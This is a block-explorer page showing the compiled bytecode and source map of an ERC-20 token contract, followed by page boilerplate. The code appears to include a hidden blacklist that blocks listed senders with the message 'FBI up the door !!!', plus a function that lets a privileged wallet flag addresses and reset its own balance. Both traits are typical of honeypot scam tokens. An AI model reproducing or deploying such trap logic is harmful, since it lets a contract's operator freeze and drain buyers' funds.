c125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610554565b600d54600160a01b900460ff1615610c3657610c2f848484610f9d565b9050610787565b30600090815260046020526040902054600d54600160a01b900460ff16158015610c7957506001600160a01b03851660009081526007602052604090205460ff16155b15610c8757610c8781611083565b6001600160a01b038516600090815260046020526040902054610caa908461123f565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610cf757506001600160a01b03851660009081526006602052604090205460ff165b15610d03575082610e7a565b6001600160a01b03861660009081526007602052604081205460ff1615610d4b57610d446064610d3e600954886109a490919063ffffffff16565b90611281565b9050610d89565b6001600160a01b03861660009081526007602052604090205460ff1615610d8957610d866064610d3e600a54886109a490919063ffffffff16565b90505b8015610e035730600090815260046020526040902054610da99082610f3e565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfa9085815260200190565b60405180910390a35b6001600160a01b03871660009081526008602052604090205460ff1615610e6c5760405162461bcd60e51b815260206004820152601a60248201527f45524332303a204642492075702074686520646f6f72202121210000000000006044820152606401610554565b610e76858261123f565b9150505b6001600160a01b038516600090815260046020526040902054610e9d9082610f3e565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef19085815260200190565b60405180910390a3600192505050610787565b60008184841115610f285760405162461bcd60e51b815260040161055491906112ec565b506000610f358486611575565b95945050505050565b600080610f4b8385611588565b9050838110156107875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610554565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610fee918490610f04565b6001600160a01b03808616600090815260046020526040808220939093559085168152205461101d9083610f3e565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110719086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110cb576110cb6114f7565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611124573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114891906114da565b8160018151811061115b5761115b6114f7565b6001600160a01b039283166020918202929092010152600c546111819130911684610a26565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ba90859060009086903090429060040161159b565b600060405180830381600087803b1580156111d457600080fd5b505af19250505080156111e5575060015b5047801561122d576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561122b573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061078783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f04565b600061078783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836112df5760405162461bcd60e51b815260040161055491906112ec565b506000610f358486611523565b600060208083528351808285015260005b81811015611319578581018301518582016040015282016112fd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461134f57600080fd5b50565b6000806040838503121561136557600080fd5b82356113708161133a565b946020939093013593505050565b60008060006060848603121561139357600080fd5b833561139e8161133a565b925060208401356113ae8161133a565b929592945050506040919091013590565b6000602082840312156113d157600080fd5b81356107878161133a565b6000806000604084860312156113f157600080fd5b833567ffffffffffffffff8082111561140957600080fd5b818601915086601f83011261141d57600080fd5b81358181111561142c57600080fd5b8760208260051b850101111561144157600080fd5b60209283019550935050840135801515811461145c57600080fd5b809150509250925092565b6000806040838503121561147a57600080fd5b82356114858161133a565b915060208301356114958161133a565b809150509250929050565b600181811c908216806114b457607f821691505b6020821081036114d457634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156114ec57600080fd5b81516107878161133a565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60008261154057634e487b7160e01b600052601260045260246000fd5b500490565b6000600182016115575761155761150d565b5060010190565b80820281158282048414176104f8576104f861150d565b818103818111156104f8576104f861150d565b808201808211156104f8576104f861150d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115eb5784516001600160a01b0316835293830193918301916001016115c6565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201f6e7cab031bcb626db0ead1132e933cfb2ba229645cc4e12717b44fc7b3fd5d64736f6c63430008110033

Deployed Bytecode Sourcemap

3815:6589:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5041:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6418:161;;;;;;;;;;-1:-1:-1;6418:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6418:161:0;1023:187:1;4482:41:0;;;;;;;;;;-1:-1:-1;4482:41:0;;;;-1:-1:-1;;;;;4482:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;4482:41:0;1215:229:1;5483:467:0;;;;;;;;;;;;;:::i;:::-;;6182:100;;;;;;;;;;-1:-1:-1;6262:12:0;;6182:100;;;1595:25:1;;;1583:2;1568:18;6182:100:0;1449:177:1;9911:313:0;;;;;;;;;;-1:-1:-1;9911:313:0;;;;;:::i;:::-;;:::i;6327:83::-;;;;;;;;;;-1:-1:-1;6393:9:0;;6327:83;;6393:9;;;;2234:36:1;;2222:2;2207:18;6327:83:0;2092:184:1;4175:50:0;;;;;;;;;;-1:-1:-1;4175:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4232:45;;;;;;;;;;-1:-1:-1;4232:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7172:429;;;;;;;;;;-1:-1:-1;7172:429:0;;;;;:::i;:::-;;:::i;6055:119::-;;;;;;;;;;-1:-1:-1;6055:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6148:18:0;6121:7;6148:18;;;:9;:18;;;;;;;6055:119;1699:157;;;;;;;;;;-1:-1:-1;1699:157:0;;;;;:::i;:::-;;:::i;1493:79::-;;;;;;;;;;-1:-1:-1;1531:7:0;1558:6;-1:-1:-1;;;;;1558:6:0;1493:79;;5958:87;;;;;;;;;;;;;:::i;4284:36::-;;;;;;;;;;-1:-1:-1;4284:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10232:167;;;;;;;;;;-1:-1:-1;10232:167:0;;;;;:::i;:::-;;:::i;4329:35::-;;;;;;;;;;;;;;;;4530:26;;;;;;;;;;-1:-1:-1;4530:26:0;;;;-1:-1:-1;;;;;4530:26:0;;;4371:36;;;;;;;;;;;;;;;;6925:143;;;;;;;;;;-1:-1:-1;6925:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7033:18:0;;;7006:7;7033:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6925:143;4010:33;;;;;;;;;;-1:-1:-1;4010:33:0;;;;;;;-1:-1:-1;;;;;4010:33:0;;;5041:83;5078:13;5111:5;5104:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5041:83;:::o;6418:161::-;6493:4;6510:39;375:10;6533:7;6542:6;6510:8;:39::i;:::-;-1:-1:-1;6567:4:0;6418:161;;;;;:::o;5483:467::-;1406:6;;-1:-1:-1;;;;;1406:6:0;375:10;1406:22;1398:67;;;;-1:-1:-1;;;1398:67:0;;4732:2:1;1398:67:0;;;4714:21:1;;;4751:18;;;4744:30;4810:34;4790:18;;;4783:62;4862:18;;1398:67:0;;;;;;;;;5532:35:::1;5589:42;5532:100;;5675:16;-1:-1:-1::0;;;;;5675:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5657:70:0::1;;5736:4;5743:16;-1:-1:-1::0;;;;;5743:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5657:110;::::0;-1:-1:-1;;;;;;5657:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5377:15:1;;;5657:110:0::1;::::0;::::1;5359:34:1::0;5429:15;;5409:18;;;5402:43;5294:18;;5657:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5643:11;:124:::0;;-1:-1:-1;;;;;5643:124:0;;::::1;-1:-1:-1::0;;;;;;5643:124:0;;::::1;;::::0;;5778:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;::::1;::::0;;5878:12:::1;::::0;5843:4:::1;5643:11;5823:26:::0;;;:11:::1;:26;::::0;;;;;;;:52;;;;;;;;;:67;;;;5922:11;;;;::::1;5901:34:::0;;:12:::1;:34:::0;;;;:41;;-1:-1:-1;;5901:41:0::1;5643:124:::0;5901:41:::1;::::0;;5483:467::o;9911:313::-;10009:4;10026:36;10036:6;10044:9;10055:6;10026:9;:36::i;:::-;-1:-1:-1;10073:121:0;10082:6;375:10;10104:89;10142:6;10104:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10104:19:0;;;;;;:11;:19;;;;;;;;375:10;10104:33;;;;;;;;;;:37;:89::i;:::-;10073:8;:121::i;:::-;-1:-1:-1;10212:4:0;9911:313;;;;;;:::o;7172:429::-;7275:10;;;;;-1:-1:-1;;;;;7275:10:0;375;-1:-1:-1;;;;;7259:26:0;;7251:35;;;;;;7302:9;7297:297;7313:24;;;7297:297;;;7390:10;;;;;-1:-1:-1;;;;;7390:10:0;7370:13;;7384:1;7370:16;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;7359:7;:42;;-1:-1:-1;;7359:42:0;-1:-1:-1;;;;;7370:30:0;;;;;;;;7359:42;;;7440:6;7416:3;7359:7;7420:13;;7434:1;7420:16;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7416:21:0;;;;;;;;;;;;-1:-1:-1;7416:21:0;:30;;-1:-1:-1;;7416:30:0;;;;;;;;;;7466:7;;7416:30;7466:7;7463:120;;;7555:10;;;;;-1:-1:-1;;;;;7555:10:0;7545:21;;;;:9;:21;;;;;;7525:12;;7517:50;;7545:21;7525:14;;7538:1;;7525:14;:::i;:::-;7517:27;;:50::i;:::-;7503:10;;;;;-1:-1:-1;;;;;7503:10:0;7493:21;;;;:9;:21;;;;;:74;7463:120;7339:3;;;;:::i;:::-;;;;7297:297;;;;7172:429;;;:::o;1699:157::-;1406:6;;-1:-1:-1;;;;;1406:6:0;375:10;1406:22;1398:67;;;;-1:-1:-1;;;1398:67:0;;4732:2:1;1398:67:0;;;4714:21:1;;;4751:18;;;4744:30;4810:34;4790:18;;;4783:62;4862:18;;1398:67:0;4530:356:1;1398:67:0;1773:6:::1;:19:::0;;-1:-1:-1;;;;;;1773:19:0::1;-1:-1:-1::0;;;;;1773:19:0;::::1;::::0;;::::1;::::0;;1808:40:::1;::::0;1773:19;;;;1808:40:::1;::::0;1773:6;1808:40:::1;1699:157:::0;:::o;5958:87::-;5997:13;6030:7;6023:14;;;;;:::i;10232:167::-;10310:4;10327:42;375:10;10351:9;10362:6;10327:9;:42::i;2422:248::-;2480:7;2504:1;2509;2504:6;2500:47;;-1:-1:-1;2534:1:0;2527:8;;2500:47;2557:9;2569:5;2573:1;2569;:5;:::i;:::-;2557:17;-1:-1:-1;2602:1:0;2593:5;2597:1;2557:17;2593:5;:::i;:::-;:10;2585:56;;;;-1:-1:-1;;;2585:56:0;;6457:2:1;2585:56:0;;;6439:21:1;6496:2;6476:18;;;6469:30;6535:34;6515:18;;;6508:62;-1:-1:-1;;;6586:18:1;;;6579:31;6627:19;;2585:56:0;6255:397:1;5137:337:0;-1:-1:-1;;;;;5230:19:0;;5222:68;;;;-1:-1:-1;;;5222:68:0;;6859:2:1;5222:68:0;;;6841:21:1;6898:2;6878:18;;;6871:30;6937:34;6917:18;;;6910:62;-1:-1:-1;;;6988:18:1;;;6981:34;7032:19;;5222:68:0;6657:400:1;5222:68:0;-1:-1:-1;;;;;5309:21:0;;5301:68;;;;-1:-1:-1;;;5301:68:0;;7264:2:1;5301:68:0;;;7246:21:1;7303:2;7283:18;;;7276:30;7342:34;7322:18;;;7315:62;-1:-1:-1;;;7393:18:1;;;7386:32;7435:19;;5301:68:0;7062:398:1;5301:68:0;-1:-1:-1;;;;;5382:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5434:32;;1595:25:1;;;5434:32:0;;1568:18:1;5434:32:0;;;;;;;5137:337;;;:::o;8252:1651::-;8330:4;-1:-1:-1;;;;;8357:18:0;;8349:68;;;;-1:-1:-1;;;8349:68:0;;7667:2:1;8349:68:0;;;7649:21:1;7706:2;7686:18;;;7679:30;7745:34;7725:18;;;7718:62;-1:-1:-1;;;7796:18:1;;;7789:35;7841:19;;8349:68:0;7465:401:1;8349:68:0;-1:-1:-1;;;;;8436:16:0;;8428:64;;;;-1:-1:-1;;;8428:64:0;;8073:2:1;8428:64:0;;;8055:21:1;8112:2;8092:18;;;8085:30;8151:34;8131:18;;;8124:62;-1:-1:-1;;;8202:18:1;;;8195:33;8245:19;;8428:64:0;7871:399:1;8428:64:0;8508:16;;-1:-1:-1;;;8508:16:0;;;;8505:1391;;;8557:32;8572:4;8578:2;8582:6;8557:14;:32::i;:::-;8550:39;;;;8505:1391;8690:4;8641:28;6148:18;;;:9;:18;;;;;;8716:16;;-1:-1:-1;;;8716:16:0;;;;8715:17;:40;;;;-1:-1:-1;;;;;;8737:18:0;;;;;;:12;:18;;;;;;;;8736:19;8715:40;8711:131;;;8790:36;8805:20;8790:14;:36::i;:::-;-1:-1:-1;;;;;8876:15:0;;;;;;:9;:15;;;;;;:27;;8896:6;8876:19;:27::i;:::-;-1:-1:-1;;;;;8858:15:0;;;;;;:9;:15;;;;;;;;:45;;;;8958:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;8985:21:0;;;;;;:17;:21;;;;;;;;8958:48;8954:779;;;-1:-1:-1;9040:6:0;8954:779;;;-1:-1:-1;;;;;9130:18:0;;9085:17;9130:18;;;:12;:18;;;;;;;;9127:252;;;9185:37;9218:3;9185:28;9196:16;;9185:6;:10;;:28;;;;:::i;:::-;:32;;:37::i;:::-;9173:49;;9127:252;;;-1:-1:-1;;;;;9268:16:0;;;;;;:12;:16;;;;;;;;9265:114;;;9321:38;9355:3;9321:29;9332:17;;9321:6;:10;;:29;;;;:::i;:38::-;9309:50;;9265:114;9402:13;;9399:195;;9485:4;9467:24;;;;:9;:24;;;;;;:39;;9496:9;9467:28;:39::i;:::-;9458:4;9440:24;;;;:9;:24;;;;;;;:66;;;;9534:40;;-1:-1:-1;;;;;9534:40:0;;;;;;;9564:9;1595:25:1;;1583:2;1568:18;;1449:177;9534:40:0;;;;;;;;9399:195;-1:-1:-1;;;;;9621:9:0;;;;;;:3;:9;;;;;;;;9620:10;9612:49;;;;-1:-1:-1;;;9612:49:0;;8477:2:1;9612:49:0;;;8459:21:1;8516:2;8496:18;;;8489:30;8555:28;8535:18;;;8528:56;8601:18;;9612:49:0;8275:350:1;9612:49:0;9696:21;:6;9707:9;9696:10;:21::i;:::-;9682:35;;9066:667;8954:779;-1:-1:-1;;;;;9777:13:0;;;;;;:9;:13;;;;;;:30;;9795:11;9777:17;:30::i;:::-;-1:-1:-1;;;;;9761:13:0;;;;;;;:9;:13;;;;;;;:46;;;;9827:31;;;;;;;;;;9846:11;1595:25:1;;1583:2;1568:18;;1449:177;9827:31:0;;;;;;;;9880:4;9873:11;;;;;;2222:192;2308:7;2344:12;2336:6;;;;2328:29;;;;-1:-1:-1;;;2328:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2368:9:0;2380:5;2384:1;2380;:5;:::i;:::-;2368:17;2222:192;-1:-1:-1;;;;;2222:192:0:o;1889:181::-;1947:7;;1979:5;1983:1;1979;:5;:::i;:::-;1967:17;;2008:1;2003;:6;;1995:46;;;;-1:-1:-1;;;1995:46:0;;9095:2:1;1995:46:0;;;9077:21:1;9134:2;9114:18;;;9107:30;9173:29;9153:18;;;9146:57;9220:18;;1995:46:0;8893:351:1;6587:330:0;6717:53;;;;;;;;;;;-1:-1:-1;;;6717:53:0;;;;;;;;-1:-1:-1;;;;;6717:17:0;;6680:4;6717:17;;;:9;:17;;;;;;;:53;;6739:6;;6717:21;:53::i;:::-;-1:-1:-1;;;;;6697:17:0;;;;;;;:9;:17;;;;;;:73;;;;6804:20;;;;;;;:32;;6829:6;6804:24;:32::i;:::-;-1:-1:-1;;;;;6781:20:0;;;;;;;:9;:20;;;;;;;:55;;;;6852:35;;;;;;;;;;6880:6;1595:25:1;;1583:2;1568:18;;1449:177;6852:35:0;;;;;;;;-1:-1:-1;6905:4:0;6587:330;;;;;:::o;7609:635::-;4625:16;:23;;-1:-1:-1;;;;4625:23:0;-1:-1:-1;;;4625:23:0;;;7715:16:::1;::::0;;7729:1:::1;7715:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7715:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7715:16:0::1;7691:40;;7760:4;7742;7747:1;7742:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7742:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7786:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7786:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7742:7;;7786:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7776:4;7781:1;7776:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7776:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7853:15:::1;::::0;7821:58:::1;::::0;7838:4:::1;::::0;7853:15:::1;7871:7:::0;7821:8:::1;:58::i;:::-;7896:15;::::0;:193:::1;::::0;-1:-1:-1;;;7896:193:0;;-1:-1:-1;;;;;7896:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;7977:7;;7896:15:::1;::::0;8016:4;;8043::::1;::::0;8063:15:::1;::::0;7896:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;7892:208:::0;8135:21:::1;8172:16:::0;;8169:67:::1;;8203:10;::::0;:33:::1;::::0;:10:::1;::::0;;::::1;-1:-1:-1::0;;;;;8203:10:0::1;::::0;:33:::1;::::0;::::1;;::::0;;;::::1;::::0;;;;:10;:33;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8169:67;-1:-1:-1::0;;4671:16:0;:24;;-1:-1:-1;;;;4671:24:0;;;-1:-1:-1;7609:635:0:o;2078:136::-;2136:7;2163:43;2167:1;2170;2163:43;;;;;;;;;;;;;;;;;:3;:43::i;2678:132::-;2736:7;2763:39;2767:1;2770;2763:39;;;;;;;;;;;;;;;;;2904:7;2939:12;2932:5;2924:28;;;;-1:-1:-1;;;2924:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2963:9:0;2975:5;2979:1;2975;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2281:247::-;2340:6;2393:2;2381:9;2372:7;2368:23;2364:32;2361:52;;;2409:1;2406;2399:12;2361:52;2448:9;2435:23;2467:31;2492:5;2467:31;:::i;2533:782::-;2625:6;2633;2641;2694:2;2682:9;2673:7;2669:23;2665:32;2662:52;;;2710:1;2707;2700:12;2662:52;2750:9;2737:23;2779:18;2820:2;2812:6;2809:14;2806:34;;;2836:1;2833;2826:12;2806:34;2874:6;2863:9;2859:22;2849:32;;2919:7;2912:4;2908:2;2904:13;2900:27;2890:55;;2941:1;2938;2931:12;2890:55;2981:2;2968:16;3007:2;2999:6;2996:14;2993:34;;;3023:1;3020;3013:12;2993:34;3078:7;3071:4;3061:6;3058:1;3054:14;3050:2;3046:23;3042:34;3039:47;3036:67;;;3099:1;3096;3089:12;3036:67;3130:4;3122:13;;;;-1:-1:-1;3154:6:1;-1:-1:-1;;3195:20:1;;3182:34;3252:13;;3245:21;3235:32;;3225:60;;3281:1;3278;3271:12;3225:60;3304:5;3294:15;;;2533:782;;;;;:::o;3528:388::-;3596:6;3604;3657:2;3645:9;3636:7;3632:23;3628:32;3625:52;;;3673:1;3670;3663:12;3625:52;3712:9;3699:23;3731:31;3756:5;3731:31;:::i;:::-;3781:5;-1:-1:-1;3838:2:1;3823:18;;3810:32;3851:33;3810:32;3851:33;:::i;:::-;3903:7;3893:17;;;3528:388;;;;;:::o;4145:380::-;4224:1;4220:12;;;;4267;;;4288:61;;4342:4;4334:6;4330:17;4320:27;;4288:61;4395:2;4387:6;4384:14;4364:18;4361:38;4358:161;;4441:10;4436:3;4432:20;4429:1;4422:31;4476:4;4473:1;4466:15;4504:4;4501:1;4494:15;4358:161;;4145:380;;;:::o;4891:251::-;4961:6;5014:2;5002:9;4993:7;4989:23;4985:32;4982:52;;;5030:1;5027;5020:12;4982:52;5062:9;5056:16;5081:31;5106:5;5081:31;:::i;5456:127::-;5517:10;5512:3;5508:20;5505:1;5498:31;5548:4;5545:1;5538:15;5572:4;5569:1;5562:15;5588:127;5649:10;5644:3;5640:20;5637:1;5630:31;5680:4;5677:1;5670:15;5704:4;5701:1;5694:15;5720:217;5760:1;5786;5776:132;;5830:10;5825:3;5821:20;5818:1;5811:31;5865:4;5862:1;5855:15;5893:4;5890:1;5883:15;5776:132;-1:-1:-1;5922:9:1;;5720:217::o;5942:135::-;5981:3;6002:17;;;5999:43;;6022:18;;:::i;:::-;-1:-1:-1;6069:1:1;6058:13;;5942:135::o;6082:168::-;6155:9;;;6186;;6203:15;;;6197:22;;6183:37;6173:71;;6224:18;;:::i;8630:128::-;8697:9;;;8718:11;;;8715:37;;;8732:18;;:::i;8763:125::-;8828:9;;;8849:10;;;8846:36;;;8862:18;;:::i;9381:980::-;9643:4;9691:3;9680:9;9676:19;9722:6;9711:9;9704:25;9748:2;9786:6;9781:2;9770:9;9766:18;9759:34;9829:3;9824:2;9813:9;9809:18;9802:31;9853:6;9888;9882:13;9919:6;9911;9904:22;9957:3;9946:9;9942:19;9935:26;;9996:2;9988:6;9984:15;9970:29;;10017:1;10027:195;10041:6;10038:1;10035:13;10027:195;;;10106:13;;-1:-1:-1;;;;;10102:39:1;10090:52;;10197:15;;;;10162:12;;;;10138:1;10056:9;10027:195;;;-1:-1:-1;;;;;;;10278:32:1;;;;10273:2;10258:18;;10251:60;-1:-1:-1;;;10342:3:1;10327:19;10320:35;10239:3;9381:980;-1:-1:-1;;;9381:980:1:o

Swarm Source

ipfs://1f6e7cab031bcb626db0ead1132e933cfb2ba229645cc4e12717b44fc7b3fd5d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.